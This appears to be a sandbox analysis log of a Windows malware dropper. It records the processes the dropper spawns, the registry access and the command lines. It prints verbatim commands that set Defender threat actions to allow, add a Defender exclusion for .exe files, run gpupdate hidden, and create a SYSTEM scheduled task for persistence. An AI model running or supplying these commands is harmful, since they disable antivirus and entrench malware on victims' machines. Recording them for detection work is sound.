Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: GET	9_2_00408A70
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: kc~z	9_2_00408A70
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: ^WB	9_2_004256B0
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: @G@K	9_2_020C8CD7
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: A@K.	9_2_020C8CD7
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: @G@K	9_2_020C8CD7
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: ZYA.	9_2_020C8CD7
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: kc~z	9_2_020C8CD7
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Command line argument: @*C	9_2_020C8CD7

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1748876102.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749442825.00000000036A1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 57%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Process created: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp "C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp" /SL5="$70060,2863082,54272,C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe"
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe .\Install.exe
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Process created: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe "C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe" -i
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 7916 -ip 7916
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe .\Install.exe /dXVdidiCT "385121" /S
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 736
Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 7916 -ip 7916
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 744
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 7916 -ip 7916
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 764
Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 7916 -ip 7916
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 748
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
Source: C:\Windows\SysWOW64\gpupdate.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 7916 -ip 7916
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 984
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bMvfdBTccYfZYKRCwN" /SC once /ST 18:54:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe\" Is /mKdidL 385121 /S" /V1 /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 7916 -ip 7916
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe	Process created: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp "C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp" /SL5="$70060,2863082,54272,C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe .\Install.exe	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Process created: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe "C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe" -i	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS1DF8.tmp\Install.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe .\Install.exe /dXVdidiCT "385121" /S	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 7916 -ip 7916
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 736
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 7916 -ip 7916
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 744
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 7916 -ip 7916
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 764
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 7916 -ip 7916
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 748
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 7916 -ip 7916
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 984
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 7916 -ip 7916
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bMvfdBTccYfZYKRCwN" /SC once /ST 18:54:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe\" Is /mKdidL 385121 /S" /V1 /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
